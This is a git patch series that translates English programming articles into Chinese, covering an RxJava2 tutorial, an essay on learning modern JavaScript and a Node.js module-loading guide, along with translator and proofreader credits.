+**4. 几个关于把命令式代码转换成响应式代码的技巧：**
 
-I am going to write some tips. So you can start work with Rx easily in your current code.
+为了让大家可以在现有的代码上轻松开始使用 Rx，我写了几个小技巧。
 
-1. If we have any loop in code convert that loop into Observable.
+1. 如果代码中有循环的话，用 Observable 替换
 
 ```
 for (int i = 0; i < 10; i++) {
 
 }
 
-to
+==>
 
 Observable.range(0,10);
 ```
 
-2. If we have any if condition in imperative code replaced with filter in Rx.
+2. 如果代码中有 if 语句的话，用 Rx 中的 filter 替换
 
 ```
 for (int i = 0; i < 10; i++) {
@@ -680,14 +678,14 @@ for (int i = 0; i < 10; i++) {
     }
 }
 
-to
+==>
 
 Observable.range(0,10)
         .filter(i->i%2==0)
         .subscribe(value->Log.i("Android","Event :"+value));
 ```
 
-3. If we need to transformed some data form into another data form. I can do that by using map.
+3. 如果需要把一些数据转换为另一种格式，可以用 map 实现
 
 ```
 public class User {
@@ -716,9 +714,9 @@ for (User user : users) {
 }
 ```
 
-In Rx there are lot of ways to achieve above code.
+在 Rx 中，有很多方法实现上述代码。
 
-By using two streams.
+使用两个流：
 
 ```
 Observable.fromIterable(users)
@@ -731,7 +729,7 @@ Observable.fromIterable(users)
         .subscribe(user -> Log.i("Android", user.toString()));
 ```
 
-By using If else in map:
+在 map 中使用 if else ：
 
 ```
 Observable.fromIterable(users)
@@ -746,7 +744,7 @@ Observable.fromIterable(users)
         .subscribe(user -> Log.i("Android", user.toString()));
 ```
 
-4. If we have some nested loops in our code.
+4. 如果代码中有嵌套的循环：
 
 ```
 for (int i = 0; i < 10; i++) {
@@ -756,7 +754,7 @@ for (int i = 0; i < 10; i++) {
     System.out.println("i");
 }
 
-to
+==>
 
 Observable.range(0, 10)
         .doAfterNext(i-> System.out.println("i"))
@@ -765,24 +763,24 @@ Observable.range(0, 10)
         .subscribe();
 ```
 
-Here I used one new operator flatMap. Only try to use in a same way how I used in my example. I will explain that in next post.
+这里用到了 flatmap 这个新的操作符。先仅仅尝试像示例代码中那样使用，我会在下篇文章中解释。
 
-**Conclusion:**
+**总结：**
 
-Good work solders. Today we try to make our self comfortable with Rx Android. We started from diagrams, then we used Java 8 stream API’s. Later we converted Java 8 stream to Rx Java 2 Android Observable. Then we try to saw some real world examples where I show you, how you can start work with Rx in your existing project. In the end I gave you some tips how to convert loop into Rx, if into filter, data transformation using map, nested loop converted by using flatMap. Next post [Dialogue between Rx Observable and a Developer (Me) [ Android RxJava2 ] ( What the hell is this ) Part5](http://www.uwanttolearn.com/android/dialogue-rx-observable-developer-android-rxjava2-hell-part5/).
+同志们干得好！今天我们学 Rx Android 学得很开心。我们从图画开始，然后使用了 Java8 的流（Stream）。之后将 Java8 的流转换到 RxJava 2 Android 的 Observable。再之后，我们看到了真实项目中的示例并且展示了在现有的项目中如何开始使用 Rx，把 if 换成 filter，用 map 进行数据转化，用 flatmap 代替嵌套的循环。下篇文章： [Dialogue between Rx Observable and a Developer (Me) [ Android RxJava2 ] ( What the hell is this ) Part5](http://www.uwanttolearn.com/android/dialogue-rx-observable-developer-android-rxjava2-hell-part5/).
 
-Hope you enjoy. OK guys BYE BYE.
+希望你们开心，同志们再见！
 
-Codes:
+代码：
 
-1. [Water Stream Example
-](https://gist.github.com/Hafiz-Waleed-Hussain/c4d17174af9881c57f0e1ce676fede2d)
-2. [HelloWorldStream using Java 8 sStream API
-](https://gist.github.com/Hafiz-Waleed-Hussain/9f55be929eb0f5e1956e75ac41876a3b)
-3. [HelloWorldStream using Rx Java2 Android](https://gist.github.com/Hafiz-Waleed-Hussain/509a32acad909ac1e90b2f83fb4dde5a) | [project level gradle](https://gist.github.com/Hafiz-Waleed-Hussain/57d2708607da67867d9bed7ba9882f5c) | [app level gradle
-](https://gist.github.com/Hafiz-Waleed-Hussain/2afd1e597fdc0c204a4adb1b43c165eb)
-4. [ArrayOfIntegers using Rx Java2 Android](https://gist.github.com/Hafiz-Waleed-Hussain/a3acd794e4942f296531018bdcad2a23) | [project level gradle](https://gist.github.com/Hafiz-Waleed-Hussain/57d2708607da67867d9bed7ba9882f5c) | [app level gradle](https://gist.github.com/Hafiz-Waleed-Hussain/2afd1e597fdc0c204a4adb1b43c165eb)
+1. [Water Stream Example（示例：水流）
+   ](https://gist.github.com/Hafiz-Waleed-Hussain/c4d17174af9881c57f0e1ce676fede2d)
+2. [HelloWorldStream using Java8 Stream API（示例：Java8 Stream 初体验）
+   ](https://gist.github.com/Hafiz-Waleed-Hussain/9f55be929eb0f5e1956e75ac41876a3b)
+3. [HelloWorldStream using Rx Java2 Android（示例：RxJava2 Android 初体验）](https://gist.github.com/Hafiz-Waleed-Hussain/509a32acad909ac1e90b2f83fb4dde5a) | [project level gradle](https://gist.github.com/Hafiz-Waleed-Hussain/57d2708607da67867d9bed7ba9882f5c) | [app level gradle
+   ](https://gist.github.com/Hafiz-Waleed-Hussain/2afd1e597fdc0c204a4adb1b43c165eb)
+4. [ArrayOfIntegers using Rx Java2 Android（示例：用 RxJava2 Android 操作整数数组）](https://gist.github.com/Hafiz-Waleed-Hussain/a3acd794e4942f296531018bdcad2a23) | [project level gradle](https://gist.github.com/Hafiz-Waleed-Hussain/57d2708607da67867d9bed7ba9882f5c) | [app level gradle](https://gist.github.com/Hafiz-Waleed-Hussain/2afd1e597fdc0c204a4adb1b43c165eb)
 
-For all other examples you can use the same snippets from post.
+对于其他所有示例，您可以使用文章中的片段。
 
  

From 65bb5b4d6face6814c19c31691845e3282a7fa1e Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinly@gmail.com>
Date: Thu, 6 Apr 2017 00:44:24 +0800
Subject: [PATCH 043/638] =?UTF-8?q?Modern=20JavaScript=20for=20Ancient=20W?=
 =?UTF-8?q?eb=20Developers=20=E7=BF=BB=E8=AF=91?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...n-javascript-for-ancient-web-developers.md | 75 ++++++++++---------
 1 file changed, 38 insertions(+), 37 deletions(-)

diff --git a/TODO/modern-javascript-for-ancient-web-developers.md b/TODO/modern-javascript-for-ancient-web-developers.md
index e39f2691bd5..3c60310211e 100644
--- a/TODO/modern-javascript-for-ancient-web-developers.md
+++ b/TODO/modern-javascript-for-ancient-web-developers.md
@@ -4,86 +4,87 @@
 > * 译者：
 > * 校对者：
 
-# Modern JavaScript for Ancient Web Developers #
+# 写给“古代” Web 开发者的“现代” JavaScript 指南 #
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*_5XMNVNbpIDCDHU1YXZPyA.png">
 
-Learn JavaScript using… JavaScript. Image via [learnyounode](https://github.com/workshopper/learnyounode).
+用 JavaScript 学习 JavaScript。图片来自 [learnyounode](https://github.com/workshopper/learnyounode)。
 
-There’s a certain kind of old-school, backend web developer who, a long time ago, mastered things like Perl or Python or PHP or Java Server Pages, maybe even Rails or Django. This person worked with giant relational databases and built APIs that serve up JSON and even (*gasp!*) XML.
+有这样一种守旧的后端 web 开发者，他们很久以前就掌握了 Perl 或 Python 或 PHP 或 Java Server Pages 一类的东西，可能甚至掌握了 Rails 或者 Django。这个人使用巨大的关系型数据库构建 JSON API 服务，呃也可能是 XML。
 
-This person is a *backend* developer, so for a long time, JavaScript was just a fun little toy that added a bit of frontend trickery that could make things on a web page change color. If JavaScript was being really useful, it would add form validation that helped prevent the wrong information from getting into the database. Eight years ago [jQuery blew this person’s mind](https://twitter.com/ginatrapani/status/3252157585). JavaScript itself was a language one merely tolerated, but never embraced.
+这个人是一个**后端**开发者，所以很久以来，JavaScript 只是一个可以添加一些前端诡计，使网页上的东西变色的有趣小玩具。如果说 JavaScript 真的很有用，那也不过是给表单添加验证，以防止错误的数据进入数据库。八年以前 [jQuery 进入了这个人的脑海](https://twitter.com/ginatrapani/status/3252157585)。JavaScript 本身依然是可以被容忍但从未被接纳的语言。
 
-Then JavaScript and its modern frameworks ate backend, frontend, and everything in between, and it was time to re-become a web developer in 2017 — who writes JavaScript.
+随后 JavaScript 和它的框架侵蚀了后端、前端和他们之间的一切，对于 JavaScript 开发者而言，2017年正是重新成为一个全新 web 开发者的时刻。
 
-Hi. I’m an ancient web developer who is learning modern JavaScript. I’ve just gotten started and I’m having a ball, but I’ve also got whiplash. There are a few things I wish I’d understood and accepted about the world of modern JavaScript before I got started.
+Hi.我正是一个正在学习现代 JavaScript 的“古代” web 开发者。我才刚刚起步玩得也还算尽兴，当然也踩了一些坑。在我开始之前，有一些关于现代 JavaScript 世界的事情我希望已经理解并且接受了。
 
-Here are some of the changes I had to make to my own mindset and expectations around learning a new ecosystem based on an old language which has taken over my craft.
+基于一个已经惯性思维模式的旧的编程语言之上学习一个新的生态系统，我在心态和期望方面得做下面一些改变。
 
-### Moving Target (dot JS)
+### 转移目标 (.jS)
 
-The modern JS world is nothing if not young and rapidly changing, so it’s easy to choose the framework or templating engine or build tool or tutorial that’s out of date or teaching a technique that’s no longer best practice (when there even is a generally-accepted notion of what “best practice” is).
+现代 JS 如果不是发展期改变太快其实也没什么，所以很容易就选择了过时的框架、模板引擎、构建工具、教程、或者已经不是最佳实践的技术。（这里指的是被广泛接受的最佳实践的概念）
 
-In those cases, it’s time to reach out to your Local Friendly Modern JavaScript Engineer, and have a little chat about the path you’re on. I’ve been lucky to get fantastic guidance from my fellow engineers here at Postlight (especially [Jeremy Mack](https://medium.com/@mutewinter)), and I thank them for putting up with my endless questions.
+这种情况下，就有必要向你身边的 JavaScript 工程师朋友伸手求助了，和他们聊一聊你的技术路线。我很荣幸在 Postlight 得到了工程师朋友的精湛指导，感谢他们容忍我无穷无尽的问题。
 
-The point is, learning modern JavaScript requires human intervention. Things haven’t settled down long enough for curriculums and guides to gel and mature, and for best practices to become authoritative for more than a few months. If you don’t have a human expert at hand, at the very least, check the date on that Medium article or tutorial or the last commit in that GitHub repository. If it’s more than a year old, it’s almost certainly not the way to go.
+我要说的是,学习现代的 JavaScript 需要人为干预。因为人为因素，事物不断发展，课程和指南不会很久都一成不变,最佳实践变成权威的规范只需几个月的时间。如果你手边没有一个仁道的专家，那么至少也得检查 Medium 上文章或教程的日期,或 Github 仓库的最近一次提交时间。如果时间超过了一年，基本上可以确定已经过时。
 
-### New Problems, Not-Yet-Established Solutions ###
+### 新的问题，而不是已经确定的解决方案 ###
 
-Along these same lines: when you’re learning modern JavaScript, there’s a good chance that the solution to the problem you’re having is still getting worked out. In fact, it’s very possible it is only one code review away from getting merged into the package you’re using.
+走类似这样的路线：当你在学习现代 JavaScript 时，你遇到的问题的解决方案还在渐渐得到解决，这正是一个好机会。事实上，很可能仅仅差一次 code review，你在使用这个包时就可以修复问题。
 
-When you’re working with an ancient language like PHP, you Google a question or problem, and almost 100% of the time you will find a 5-year-old Stack Overflow answer that solves it, or a full discussion in the (thorough, heavily commented, and unparalleled) [documentation](http://docs.php.net/docs.php).
+当你在使用一种像 PHP 这样的古老的语言的时候，你可以 Google 一个提问或者问题，几乎百分之百能找到一个5年前的 Stack Overflow 回答来解决它，或者你能在（彻底的，大量评论的，无与伦比的）[文档](http://docs.php.net/docs.php)里找到整个描述。
 
-Not so much with modern JavaScript. I’ve found myself trawling through comments on GitHub issues and source code only to find information that contradicts out-of-date documentation more than once. Parsing GitHub repos is part of learning and using various JavaScript packages, and for an Old Person like me, working that close to the edge can be bewildering.
+现代 JavaScript 就并非如此了。 我曾经徜徉在 GitHub issues 和源码的时候不止一次找到的都是一些过时的文档。剖析 GitHub 版本库是学习和使用各种包的一部分，而且对于像我这样的“远古人”，靠近边缘的工作更令人迷惑。
 
-### Tooling Overload ###
+### 工具过载 ###
 
-The other difficult thing about learning JavaScript in 2017: getting set up will feel like it takes you as long as building the app will. The sheer number of tools and plugins and packages and dependencies and editor setup and build configurations required to do it “the right way” is enough to stall you before you even get started.
+在 2017 年学习 JavaScript 还有另一个不一样的地方：创建程序花费的时间感觉和写应用的时间一样多。需要以“正确的方式”去做的工具、插件、软件包和依赖以及编辑器配置和构建配置所需的绝对数量足以使你在启动项目之前望而却步。
 
 [![Markdown](http://i4.buimg.com/1949/adafb30475d3d36a.png)](https://twitter.com/capndesign/status/832638513048850433/photo/1)
 
-*Do not let this stop you.* I had to let go of doing it The Right Way from the get-go, and allow myself to fumble through using suboptimal or just plain amateur setups just to get comfortable with individual tools. (Let me tell you about that time I used [nodemon](https://nodemon.io/) to do my linting…) Then I’d find out better ways and incorporate what I could, when I could, on each new project.
+**不要因此止步不前**。我不得不放手去做，从起步到正确配置，允许自己的不完美甚至一些业余，只为舒适地使用自己的工具。（我不会告诉你我曾用[nodemon](https://nodemon.io/)做代码检查）随后我会找到更好的方法并且在每个新项目中纳入进来。
 
-The JS world has a *lot* of work to do in this regard. Again, this area of modern JavaScript is a constantly moving target, but my Local Friendly Modern JS Engineers tell me that [this tutorial from Jonathan Verrecchia](https://github.com/verekia/js-stack-from-scratch) is currently the definitive guide to building a modern JavaScript stack. For now.
+这方面 JS 还有大量的工作要做。现代 JavaScript 领域依然是不断变化的，但我一个现代 JS 工程师亲友告诉我，[这份来自 Jonathan Verrecchia 的教程](https://github.com/verekia/js-stack-from-scratch)是目前构建一个当代 JavaScript 栈的不二之选。对，就是现在。
 
 [![Markdown](http://i1.piimg.com/1949/95cedaf271a8c352.png)](https://github.com/verekia/js-stack-from-scratch)
 
-### Tutorial / Project / Throw It Away / Repeat ###
+### 教程 / 项目 / 舍弃 / 重复 ###
 
-When you’re learning any new language, you write code and then you throw it away, and then you write some more. My modern JavaScript education has been a stepladder of tutorials, then a small tractable project during which I compiled a list of questions and problems, then a check-in with my coworkers to get answers and explanations, then more tutorials, then a slightly bigger project, more questions, a check-in — wash, rinse, repeat.
+无论学习什么语言都要经历写代码 - 舍弃 - 写更多代码这个过程。我的现代 JavaScript 学习经历已经成为一个个教程组成的阶梯，然后做一个小巧简单的项目，期间总结出现的疑问和困惑列出清单。然后和我的同事碰头以获得答案和解释，然后刷更多的教程，然后做一个稍微大一些的项目，更多的问题，再碰头，如此重复。
 
-Here’s an incomplete list of some of the workshops and tutorials I’ve run through in this process so far.
+这是迄今为止我在这个过程中经历过的一些研讨会和教程的不完整列表。
 
-- [HOW-TO-NPM](https://github.com/workshopper/how-to-npm) — npm is the package manager for JavaScript. Even though I’d typed `npm install` thousands of times before I started this process, I didn’t know all the things npm does till I completed this interactive workshop. (On several projects I’ve since moved onto using [yarn](https://github.com/yarnpkg/yarn) instead of npm, but all the concepts translate.)
+- [HOW-TO-NPM](https://github.com/workshopper/how-to-npm) —— npm 是 JavaScript 的包管理器。即使在学习这个教程之前我已经敲打过上千次 “npm install”，但是知道学完这个我才知道 npm 做的所有事情。（在很多项目中我已经转移使用[yarn](https://github.com/yarnpkg/yarn)，而不是 npm,但所有的概念都是相通的）
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*0NydvP4xLtp13z_HE2Xqyw.png">
 
 `npm i -g how-to-npm`
 
-- [learnyounode](https://github.com/workshopper/learnyounode) — I decided to focus on server-side JavaScript first because that’s where I’m comfortable, so Node.js it is. Learnyounode is an interactive introduction to Node.js similar in structure to how-to-npm.
-- [expressworks](https://github.com/azat-co/expressworks) — Similar to the previous two workshoppers, Expressworks is an introduction to Express.js, a web framework for Node.js. Express doesn’t get a whole lot of use here at Postlight these days, but it was worth learning as a beginner to get a taste of building a simple webapp.
-- Now it was time to build something real. I found Tomomi Imura’s tutorial on [Creating a Slack Command Bot from Scratch with Node.js](http://www.girliemac.com/blog/2016/10/24/slack-command-bot-nodejs/) was just enough Node and Express to put my newfound skills to work. Since I was focusing on backend, building a slash command for Slack was a good place to start because there’s no frontend presentation (Slack does that for you).
-- In the process of building this command, instead of using ngrok or Heroku as recommended in the walkthrough, I experimented with [Zeit Now](https://zeit.co/now), which is an invaluable tool for anyone building quick, one-off JS apps.
-- Once I started writing Actual Code, I also started to fall down the tooling rabbit hole. Installing Sublime plugins, getting [Node versioning](https://github.com/postlight/lux/blob/master/CONTRIBUTING.md#nodejs-version-requirements) right, setting up ESLint using [Airbnb’s style guide (Postlight’s preference)](https://github.com/airbnb/javascript) — these things slowed me down, but also were worth the initial investment. I’m still in the thick of this; for example, Webpack is still pretty mysterious to me, but [this video is a pretty great introduction](https://www.youtube.com/watch?v=WQue1AN93YU)*.*
-- At some point JS’s asynchronous execution (specifically, “[callback hell](http://callbackhell.com/)”) started to bite me. [Promise It Won’t Hurt](https://github.com/stevekane/promise-it-wont-hurt) is another workshopper that teaches you how to write “clean” asynchronous code using Promises, a relatively new JS abstraction for dealing with async execution. Truth be told, Promises almost broke me — they’re a mind-bendy paradigm shift. Thanks to [Mariko Kosaka](http://kosamari.com/notes/the-promise-of-a-burger-party), now I think about them whenever I order a burger.
+- [learnyounode](https://github.com/workshopper/learnyounode)——我打算专注于服务端 JavaScript,因为那有令我安逸的东西，那就是 Node.js。Learnyounode 是一个交互式教程，结构上类似 how-to-npm。
 
+- [expressworks](https://github.com/azat-co/expressworks) —— 和前面两个项目类似，Expressworks 是 Express.js 的介绍，一个 Node.js 的 web 框架。在 Postlight 公司 Express 没有得到广泛使用，但对于初学者，它值得学习去上手构建一个简单的 web 应用。
+- 现在是时候做点真东西了。我发现 Tomomi Imura 的一篇教程 [Creating a Slack Command Bot from Scratch with Node.js](http://www.girliemac.com/blog/2016/10/24/slack-command-bot-nodejs/) 已经可以学到足够的 Node 和 Express 的新技能来应对工作。因为我专注于后端，使用 Slack 创建一个 “/” 命令是一个很好的开始，因为没有前端演示（Slack 帮你做好了）
+- 在构建这个命令的过程中，我不使用演练中所推荐的 ngrok 或者 Heroku，而是使用 [Zeit Now](https://zeit.co/now)，这是任何人可用的，创建快速一次性的 JS 应用的宝贵工具。
+- 一旦开始写真正意义的代码，我也开始掉下工具无底洞了，安装 Sublime 插件，获取正确的 [Node 版本](https://github.com/postlight/lux/blob/master/CONTRIBUTING.md#nodejs-version-requirements)，配置 ESLint，使用 [Airbnb 的代码规范 (Postlight 公司的偏好)](https://github.com/airbnb/javascript) —— 这些事情拖了我的后退，但也都是有价值的初始化投资。对于这方面我还在坑里，例如 Webpack 对我来说依然美妙又神秘，不过[这个视频是个很不错的介绍](https://www.youtube.com/watch?v=WQue1AN93YU)*.*
+- 某些时候 JS 的异步执行（特别是[回调地狱](http://callbackhell.com/)）开始困扰我，[Promise It Won’t Hurt](https://github.com/stevekane/promise-it-wont-hurt) 是另一个教你怎样使用 Promise 书写优雅异步逻辑的教程。Promise 是用于解决异步执行的 JS 新概念。说实话 Promise 令我耳目一新，他们是巧妙的范式转变。感谢 [Mariko Kosaka](http://kosamari.com/notes/the-promise-of-a-burger-party)，现在我每次买汉堡的时候都能想起这些。
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*Gh5Pv0ujTuikxGZMeANfCg.png">
 
-burger.resolve() — image via [The Promise of a Burger Party](http://kosamari.com/notes/the-promise-of-a-burger-party).
+burger.resolve() — 图片来自 [The Promise of a Burger Party](http://kosamari.com/notes/the-promise-of-a-burger-party).
 
-From here I knew enough to get myself into all sorts of trouble, like experiment with [Jest](https://facebook.github.io/jest/) for testing, [Botkit](https://github.com/howdyai/botkit) for more Slack bot fun, and [Serverless](https://serverless.com/) to really hammer home the value of functional programming. If you don’t know what any of that means, that’s okay. It’s a big world, and we all take our own paths through it.
+我知道在这会陷入各种各样的麻烦，比如尝试使用 [Jest](https://facebook.github.io/jest/) 测试，使用 [Botkit](https://github.com/howdyai/botkit) 让 Slack 机器人更有趣，使用 [Serverless](https://serverless.com/) 真正打破函数式编程的价值。如果你不知道这些是什么意思，其实也没关系。这是一个大世界，我们都有属于自己的路要走。
 
-### **“First do it, then do it right, then do it better**.” ###
+### **“首先做，然后做对，然后做得更好**.” ###
 
-Ultimately the most important thing I’ve had to remember is this: Doing is learning. Doing it badly? It’s still learning.
+最后这件最重要的事我一定要提起：不断去做就是学习的过程，做的很糟糕？那也是学习的过程。
 
-[Learning modern JavaScript these days](https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f#.kclvczou2) can feel like a futile exercise in WTF. For those moments you’re wondering if you missed your calling as a barista, Google’s [Addy Osmani has the right advice](https://medium.com/@addyosmani/totally-get-your-frustration-ea11adf237e3#.t599ja0j3):
+[学习最前沿的现代 JavaScript](https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f#.kclvczou2) 感觉就像是在不知所以然的徒劳无功。当你在想有这么多时间搬搬砖不是更好吗的时候，Google 的 [Addy Osmani 有个不错的建议](https://medium.com/@addyosmani/totally-get-your-frustration-ea11adf237e3#.t599ja0j3)
 
-> I encourage folks to adopt this approach to keeping up with the JavaScript ecosystem: **first do it, then do it right, then do it better**. […]
+> 我鼓励人们采用这种方法来跟上 JavaScript 生态系统：**首先做，然后做对，然后才是做得更好**. […]
 
-> It takes time, experimentation and skill to master the fundamentals of any new topic. Beginners shouldn’t feel like they’re failing if they’re not using the library-du-jour or reactive-pattern of the week. It took me weeks to get Babel and React right. Longer to get Isomorphic JS, WebPack and all of the other libraries around it right. **Start simple and build on that base.**
+> 掌握任何新技能的基本要求都需要时间，实践和技巧。如果不使用每日一库或者响应式学习，容易产生挫败感。学会正确使用 Babel 和 React 花费了我数周时间，学习 Isomorphic JS，WebPack 和其他所有相关的库花了更多的时间。 **简简单单地开始并且从基础做起就好.**
+
+这里*感谢* [*NodeSchool*](https://nodeschool.io/) 和 [*Free Code Camp*](https://www.freecodecamp.com/)，帮助初学者学习 JavaScript 的两个神奇的网站.  
 
-*Thanks to* [*NodeSchool*](https://nodeschool.io/)and[*Free Code Camp*](https://www.freecodecamp.com/), two fantastic resources for beginners learning JavaScript.
 
 ---
 

From e888eb1b6714415d879cc23d83bfc8733c2a4513 Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinly@gmail.com>
Date: Thu, 6 Apr 2017 01:01:12 +0800
Subject: [PATCH 044/638] add signature

---
 TODO/modern-javascript-for-ancient-web-developers.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/modern-javascript-for-ancient-web-developers.md b/TODO/modern-javascript-for-ancient-web-developers.md
index 3c60310211e..e55b07daf69 100644
--- a/TODO/modern-javascript-for-ancient-web-developers.md
+++ b/TODO/modern-javascript-for-ancient-web-developers.md
@@ -1,7 +1,7 @@
 > * 原文地址：[Modern JavaScript for Ancient Web Developers](https://trackchanges.postlight.com/modern-javascript-for-ancient-web-developers-58e7cae050f9#.ibsx51ylz)
 > * 原文作者：[Gina Trapani](https://trackchanges.postlight.com/@ginatrapani?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[sun](http://suncafe.cc)
 > * 校对者：
 
 # 写给“古代” Web 开发者的“现代” JavaScript 指南 #

From a69bc2d1c51e9732bd01af98cb22e9522034ccdf Mon Sep 17 00:00:00 2001
From: zhouzihanntu <abbey357423606@hotmail.com>
Date: Thu, 6 Apr 2017 10:54:28 +0800
Subject: [PATCH 045/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E7=AC=AC=E4=B8=80?=
 =?UTF-8?q?=E4=BD=8D=E6=A0=A1=E5=AF=B9=E8=80=85=E6=84=8F=E8=A7=81=E4=BF=AE?=
 =?UTF-8?q?=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...-in-node-js-everything-you-need-to-know.md | 82 +++++++++----------
 1 file changed, 38 insertions(+), 44 deletions(-)

diff --git a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
index 5bbc332cab9..d48fe1071ac 100644
--- a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
+++ b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Samer Buna](https://medium.freecodecamp.com/@samerbuna?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[zhouzihanntu](https://github.com/zhouzihanntu)
-> * 校对者：
+> * 校对者：[lsvih](https://github.com/lsvih)
 
 # 关于在 Node.js 中引用模块，知道这些就够了 #
 
@@ -15,9 +15,9 @@ Node 提供了两个核心模块来管理模块依赖：
 - `require` 模块在全局范围内可用，不需要写 `require('require')`.    
 - `module` 模块同样在全局范围内可用，不需要写 `require('module')`.
 
-你可以将 `require` 模块理解为命令，将 `module` 模块理解为组织所有被引用模块的工具。
+你可以将 `require` 模块理解为命令，将 `module` 模块理解为所有必要模块的组织者。
 
-在 Node 中引入一个模块其实不像概念那么复杂。
+在 Node 中引入一个模块其实并没有想象中的那么复杂。
 
 ```
 const config = require('/path/to/file');
@@ -31,7 +31,7 @@ const config = require('/path/to/file');
 - **评估**：最后由虚拟机对加载得到的代码做评估。
 - **缓存**：当再次引用该文件时，无需再重复以上所有步骤。
 
-在本文中，我将试着用示例说明这些不同阶段的运行原理，以及它们如何影响我们在 Node 中编写模块的方式。
+ 在本文中，我将尝试举例说明这些不同阶段的工作原理，以及它们是如何影响我们在 Node 中编写模块的方式的。
 
 我先使用终端创建一个目录来托管本文中的所有示例：
 
@@ -39,7 +39,7 @@ const config = require('/path/to/file');
 mkdir ~/learn-node && cd ~/learn-node
 ```
 
-本文余下部分的所有命令都将在 `~/learn-node` 目录下运行。
+ 之后的所有命令都将在 `~/learn-node` 目录下运行。
 
 #### 解析本地路径 ####
 
@@ -55,13 +55,12 @@ Module {
   filename: null,
   loaded: false,
   children: [],
-  paths: [ ... ]
-}
+  paths: [ ... ]}
 ```
 
 每个模块对象都有一个用于识别该对象的 `id` 属性。这个 `id` 通常是该文件的完整路径，但在 REPL 会话中只会显示为 `<repl>`。
 
-Node 模块与文件系统中的文件有着一一对应的关系。我们通过加载模块对应的文件内容到内存中来实现模块引用。
+Node 模块与文件系统中的文件有着一对一的关系。我们通过加载模块对应的文件内容到内存中来实现模块引用。
 
 然而，由于 Node 允许使用许多方式引入文件（例如，使用相对路径或预先配置的路径），我们需要在将文件的内容加载到内存前找到该文件的绝对位置。
 
@@ -167,7 +166,7 @@ Found again.
 
 >注意，由于我们现在有一个本地目录，它再次忽略了主目录的 `node_modules` 路径。
 
-当我们引入一个文件夹时，将默认执行 `index.js` 文件，但是我们可以通过 `package.json` 中的 `main` 属性指定主入口文件。例如，要令 `require('find-me')` 解析到 `find-me` 文件夹下的另一个文件，我们只需要在该文件夹下添加一个 `package.json` 文件来声明解析该文件夹时引用的文件：
+当我们引入一个文件夹时，将默认使用 `index.js` 文件，但是我们可以通过 `package.json` 中的 `main` 属性指定主入口文件。例如，要令 `require('find-me')` 解析到 `find-me` 文件夹下的另一个文件，我们只需要在该文件夹下添加一个 `package.json` 文件来声明解析该文件夹时引用的文件：
 
 ```
 ~/learn-node $ echo "console.log('I rule');" > node_modules/find-me/start.js
@@ -183,7 +182,7 @@ I rule
 
 #### require.resolve 方法 ####
 
-如果你只想解析模块而不运行，此时可以使用 `require.resolve` 函数。这个方法与 `require` 的主要功能完全相同，但是不加载文件。如果文件不存在，它仍会抛出错误，并在找到文件时返回文件的完整路径。
+如果你只想解析模块而不运行，此时可以使用 `require.resolve` 函数。这个方法与 `require` 的主要功能完全相同，但是不加载文件。如果文件不存在，它仍会抛出错误；如果找到了文件，则会返回文件的完整路径。
 
 ```
 > require.resolve('find-me');
@@ -260,12 +259,12 @@ In util Module {
   paths: [...] }
 ```
 
->注意：`index` 主模块 `(id: '.')` 现在被列为 `lib/util` 模块的父类。但 `lib/util` 模块并没有被列为 `index` 模块的子目录。相反，我们在这里得到的值是 `[Circular]`，因为这是一个循环引用。如果 Node 打印 `lib/util` 模块对象，将进入一个无限循环。这就是为什么 Node 使用 `[Circular]` 代替了 `lib/util` 引用。
+>注意：`index` 主模块 `(id: '.')` 现在被列为 `lib/util` 模块的父模块。但 `lib/util` 模块并没有被列为 `index` 模块的子模块。相反，我们在这里得到的值是 `[Circular]`，因为这是一个循环引用。如果 Node 打印 `lib/util` 模块对象，将进入一个无限循环。 因此 Node 使用 `[Circular]` 代替了 `lib/util` 引用。
 
 
-重点来了，如果我们在 `lib/util` 模块中引入 `index` 主模块会发生什么？这就是 Node 中所支持的循环模块依赖关系。
+重点来了，如果我们在 `lib/util` 模块中引入 `index` 主模块会发生什么？这就是 Node 中所支持的循环依赖。
 
-为了更好理解循环模块依赖，我们先来了解一些关于 module 对象的概念。
+为了更好理解循环依赖，我们先来了解一些关于 module 对象的概念。
 
 #### exports、module.exports 和模块异步加载 ####
 
@@ -301,7 +300,7 @@ In util Module {
   ... }
 ```
 
-为了保持示例简短，我删除了以上输出中的一些属性，但请注意：`exports` 对象现在拥有我们在各模块中定义的属性。你可以向 exports 对象添加任意多的属性，也可以直接将整个对象改为其它对象。例如，我们可以通过以下方式将 exports 对象更改为一个函数：
+为了保持示例简短，我删除了以上输出中的一些属性，但请注意：`exports` 对象现在拥有我们在各模块中定义的属性。你可以向 exports 对象添加任意多的属性，也可以直接将整个 exports 对象替换为其它对象。例如，我们可以通过以下方式将 exports 对象更改为一个函数：
 
 ```
 // 将以下代码添加在 index.js 中的 console.log 语句前
@@ -320,7 +319,7 @@ In index Module {
   ... }
 ```
 
->注意：我们并没有使用 `exports = function() {}` 来将 `exports` 对象更改为函数。实际上，由于各模块中的 `exports` 变量仅仅是对管理输出属性的 `module.exports` 的引用，当我们对 `exports` 变量重新赋值时，引用就会丢失，此时我们只是引入了一个新的变量，而没有对 `module.exports` 做修改。
